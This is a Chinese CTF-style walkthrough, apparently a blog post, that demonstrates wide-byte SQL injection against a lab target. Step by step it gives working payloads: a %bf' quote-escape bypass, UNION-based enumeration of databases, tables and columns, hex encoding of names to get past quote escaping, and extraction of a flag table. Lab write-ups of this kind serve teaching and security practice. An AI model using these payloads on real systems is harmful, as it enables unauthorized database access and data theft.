SQL宽字节注入01

靶机地址:http://www.whalwl.top:8011【2020年8月前有效】

1、http://www.whalwl.top:8011/wide.php?id=1%bf' and 1=1 %23   //不报错

     http://www.whalwl.top:8011/wide.php?id=1%bf' and 1=2 %23   //报错

代码执行,说明存在注入


2、id=1%bf' order by 5 %23    //查看字段数,即列数

3、id=1%bf' and 1=2  union select 1,2,3,4,5%23   //查找回显点

4、id=1%bf' and 1=2  union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata %23

//查找有哪些数据库,  该语句查出了全部的数据库

5、id=1%bf' and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema = 'kzf' %23  //查找kzf中有哪些表

报错,原因是转义了单引号,需要嵌套查询,避免出现单引号

1)先select database()找出当前数据库 【可省略】

    %bf' and 1=2  union select 1,database(),3,4,5 from information_schema.schemata %23

2)将'kzf'改为 select database()

     id=1%bf' and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema = (select database()) %23

 

6、我想进行第三层嵌套的时候,不是报错,就是显示空内容。来回试了几次的我觉得另找它路,发现:

可以将需要用单引号括起的表名、列名可以转换成16进制,同样可以绕过单引号转义

id=1%bf' and 1=2 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema =(select database()) and table_name =0x746869735f666c6167 %23  //查找this_flag的字段名

7、id=1%bf' and 1=2 union select 1,id,flag,4,5 from this_flag %23   //获取字段内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值